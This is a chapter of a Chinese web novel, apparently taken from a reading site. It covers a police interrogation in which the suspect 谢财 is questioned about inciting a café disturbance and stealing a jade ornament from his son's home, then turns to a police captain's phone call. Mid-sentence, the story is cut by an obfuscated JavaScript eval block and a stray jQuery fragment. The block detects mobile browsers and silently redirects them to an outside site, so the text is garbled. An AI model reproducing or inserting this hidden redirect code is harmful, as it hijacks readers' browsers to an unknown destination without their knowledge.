38.万里挑一
作品:《欠管教,得驯》 车一直开,好像开了很久。
久到谢财有些晕车。怎么还没到?他都犯困了。
身旁的民警紧紧把住他的肩,那一块的骨头简直快裂掉。后排还弥漫着一股难闻的味道。
闻了又闻,憋了又憋,隐约发现是从他身上传出的。
他的脸色瞬间变得难看。
这些个王八犊子,叫他今日丢尽了脸。把他抓来最好是直接要了他的命!
老天爷似乎听到他叫骂的心声,警车很快稳稳停住。
下车的时候依旧有两个民警架着他。
今天是个阴天。
公安局乌压压的,建筑上方也乌压压的。谢财虚着眼睛往后望,没找到杨霄跟老汉的人影。他心里开始发怵,斜目偷瞧四周。
几个穿执勤常服的警察在交谈着,他听了两句,才知道接下来要单独问话。他们三人会被分开送进隔离讯问室。
谢财想跑,但也知道跑不得、跑没用,除非再长上八条腿朝海里游。
而现在,别说再长八条腿,他仅有的四肢都不受控制。就连坐下这一个动作,都需要有人把他往下按,否则他会一直僵住。
谢财坐在冰凉的铁制椅上,对面是个他看不清长相的警察。
他努力睁开眼,说自己能够保持清醒。
对方便展开了首次讯问:“如实供述可以从宽处理。你有权拒绝回答与案件无关的问题。以下是你涉嫌的犯罪事实。”
“一月二十一日上午,你是否策划并指使他人到慧识网吧进行闹事?”
谢财脑子里就一个念头,那就是他要反驳:“什么叫我策划我指使?腿脚手胳膊长在他们身上,都是他们自愿的!”
“在案件事发之前,你是否知情此事?监控显示,你与从犯接触频繁,这是否意味着你对该预谋行为具有明确认知?”
谢财压根不管对方说了什么,斩钉截铁:“我不知情!”
“你的同伙已经供述了事件过程,这件事涉及到你的主观意图,且我们掌握的证据充足,希望你不要对我们有所隐瞒。”
这话一听就是诳人的,谢财当然不会相信。
既然他有权保持沉默,那大不了他就一直保持沉默。
于是,主审警察一连问了好几个问题,他统统听而不闻。
审讯室里的空气静得骇人。面对他的一言不语,另一位协审警察停止了记录,拢手扬了扬头,问他:“脖子上怎么了?”
给谢财问得火大,他最烦别人置身事外看他笑话:“跟你有毛关系?”
见他舍得开口了,协审重新拿起笔:“跟我是没关系,我在意的是跟案件有没有关系。”
“跟案件也没关系,我不小心弄的。”
协审尽职尽责,耐心解释:“不小心弄的?如果受到威胁——”
谢财不耐烦:“谁能威胁我?”
协审再次强调:“你确定?”
“确定!”
主审见其反应过激,便绕开了闹事相关的讯题,继续陈述道:“二月三日,你是否在同伴配合协助下、潜入谢恒逸先生的住宅?在此期间,你是否偷走价值一万八千元的和田玉小品?”
“你少给我扯这些有的没的,那是我儿子!亲生儿子!”谢财摇头摆手,只觉匪夷所思,“那是我儿子的房子、我儿子的东西,怎么能叫偷?!”
主审跟协审对视一眼,无语得有点发愣。
谢财仍在叫嚣着,颇有耀武扬威的意思:“你们要是不信,你把他给我叫来,来,我当场跟你们去做亲子鉴定!”
“未经居住者同意,你潜入住宅就是非法侵入,哪怕是亲属关系,同样构成犯罪,更何况你还偷窃!监控拍得很清楚,你还不承认?”
“监控?”谢财狐疑。
谢蓉顶多能交出网吧的监控。除此之外还有哪门子的监控?
难不成是小区街道?保安亭?
在谢财的强烈要求下,监控录像截屏被展示出来,画面上他的面容清晰可见,清晰到一丝狡辩余地都无。
谢财感到不可思议。
祸害果然是祸害,处处给他使绊子。真是有病!自己家装什么监控?!
他转而冷静下来。
就算他潜入了又怎样?窃了又怎样?能拿他怎样?
进亲儿子的屋还犯法了不成?拿亲儿子样东西还犯法了不成?哪有这样的法?闻所未闻、见所未见!
谢财长时间没发言,主审沉着直视他:“你有什么要解释的?”
沉默。
沉默后,是谢财固执的爆发:“我不知情!”
“不知情?”
在主审示意下,协审出示了证物:“那这个东西你总该知情吧?从你床头搜出来的。”
映入眼帘的,是装在物证袋里的白玉摆件。
刚刚说是多少钱来着的……一万八?这样一个小玩意,值一万八?怕不是唬他的噱头!
谢财意识到事情的严重性,但要说有多严重,他不以为意:“这就是我的玉!怎么,不许父子俩有同款?”
“这上边是能检测出指纹的。你说这是你的玉,那你倒说说,都有哪些人碰过这玉?”
说到这,主审不免有点纳闷。
这玉上指纹遍布,遍布的却不是户主的指纹,也不是嫌疑人的指纹,以至于得进一步核实。
但似乎也不必。
谢财抵赖无果,索性认了:“我顺手揣兜里的,哪知道这么值价。反正东西在这了,不知者不罪嘛。”
好一个不知者不罪。
主审犀利应对:“屋内这么多东西,你偏偏挑中这一样,难道不是因为它最值价?”
谢财有些心虚,掐紧了手心的肉。
那玉又润又滑,看着小块,拿在手里沉甸甸的,他一摸就知道是好东西。却不想是这么好的东西!不然他早早就卖了换钱去。
谢财不再回答,主审也不再逼问。
毕竟事已至此,不承认没有丝毫作用,只会让量刑更严格。
主审又接连完善了几个细枝末节。中途有位辅警进来递了份电子打印的笔录。
结合笔录,主审提出最后一个问题:“你是否指挥杨霄故意伤害谢嵘女士?”
这是最后一个问题,也是至关重要的节点。
对老
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737280|171304||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
汉的审讯已经结束,杨霄那边尚在进行中,审讯时长最久,进度比谢财这边都慢,听说是尿裤子了,光清理就花了十分钟。
关于是否故意伤害这个问题,杨霄跟老汉各执一词。老汉非说是杨霄是有意伤人,杨霄死活不认。从态度上来看,两人都不似作假。
杨霄的供述极少,明确的作答仅有两句。一句是他发誓没想过伤人,另一句则表明谢财的伤是自个弄的,谢财亲口说过。
主审问出问题后,紧紧盯住谢财,不放过嫌疑人的任何情绪变化。
谢财的反应跟杨霄如出一辙,茫然、愤怒,激动地晃动身体。
从刚才的交谈中,可以判断出此人实在不算聪明,不会有如此精湛的演技。
主审深深望了谢财一眼,协审给笔录收了尾。
审讯结束。
……
近几日,严烨霆在各个分局辗转来辗转去,那叫一个爱岗敬业。
敬业确实敬业,但爱岗确实不怎么爱。
他从看守所回来,差点在公安局门口倒头就睡。
倒头了,但没睡。
严烨霆扶着立柱,“啧”了声,掏出手机。
有人致电,致的是他的办公号码。
他看也没看致电人,接了起来:“哪位?”
对面隔了两秒才道:“是我。”
严烨霆闻声站直了身子。
“严队,现在方便说话么?”
冷如碎冰的声线,以及冷漠的称呼,瞬间将本就遥远的距离拉得望不到头。
一如既往的刺痛人心呐。
严烨霆痛心疾首,狠了狠心回道:“不方便。”
仨字说了不到一秒,他又赶忙讲明:“诶——严队不方便,严师兄方便。说来听听,找师兄什么事?”
“当年李副局留下的辞职信,能不能查到存档?”
“嘶……公开演说的那位李副局?你怎么忽然关心起这个?应该能查阅到,我回头给你找找。”
严烨霆慢悠悠踱步到大树底下,想起前几日晚上陈云彩那番话,吊着一颗心试探道:“你最近怎么样?”
“挺好的。”
听见这个简短回复,严烨霆还想再扯点别的话题,对面却已挂断电话。
他看着暗下去的屏幕,眸底晦暗:“挺好的……吗。”
倏地,草丛边跑过一只狸花猫,在严烨霆跟前停下来挠了挠头,又舔了舔爪子。
严烨霆收起手机,想上去摸两把,没来得及。有个时常跟他搭伙吃食堂的同事走过来:“刚喊了你好几声都没反应,发什么神呢?这阵子给你忙糊涂了?”
严烨霆收回看猫的视线:“没事,就是突然有点想撸猫了。”
“哎,你这么一说还真有点想。齐副队那只白猫手感是真好啊,品相也是万里挑一,看着就贵。我之前遇上都没敢多碰,怕给它碰坏了。”
齐副队。诶,齐副队。
严烨霆把这个称呼默念了几遍,拍了拍同事的肩,突发奇想:“你叫我一声。”
“……严队?”
“叫得真难听。”
“我去你的!!”